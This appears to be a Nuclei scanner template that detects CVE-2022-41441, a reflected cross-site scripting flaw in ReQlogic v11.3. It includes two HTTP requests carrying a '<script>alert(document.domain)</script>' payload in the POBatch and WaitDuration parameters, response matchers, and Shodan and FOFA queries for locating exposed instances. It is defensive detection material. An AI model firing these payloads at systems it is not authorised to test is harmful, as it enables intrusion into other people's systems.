id: CVE-2022-41441

info:
  name: ReQlogic v11.3 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    ReQlogic v11.3 allow attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the POBatch and WaitDuration parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in ReQlogic v11.3.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41441
    - https://okankurtulus.com.tr/2023/01/17/reqlogic-v11-3-unauthenticated-reflected-cross-site-scripting-xss/
    - http://packetstormsecurity.com/files/171557/ReQlogic-11.3-Cross-Site-Scripting.html
    - http://reqlogic.com
    - https://reqlogic.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-41441
    cwe-id: CWE-79
    epss-score: 0.05302
    epss-percentile: 0.91531
    cpe: cpe:2.3:a:reqlogic:reqlogic:11.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: reqlogic
    product: reqlogic
    shodan-query:
      - http.html:"ReQlogic"
      - http.html:"reqlogic"
    fofa-query: body="reqlogic"
  tags: cve,cve2022,packetstorm,xss,reqlogic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ProcessWait.aspx?POBatch=test&WaitDuration=</script><script>alert(document.domain)</script>"
      - "{{BaseURL}}/ProcessWait.aspx?POBatch=</script><script>alert(document.domain)</script>&WaitDuration=3"

    stop-at-first-match: true
    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>") && contains(body_2, "POProcessTimeout")'
        condition: and
# digest: 4b0a0048304602210090bc5093b5ead76a112ce2813fb0a385cf41ef086189535894b7beaf8f3d3bdb022100d080c9e5cc4909841b5da1aa3002435e664420b0c9f90f4983cf2a912231c15c:922c64590222798bb761d5b6d8e72950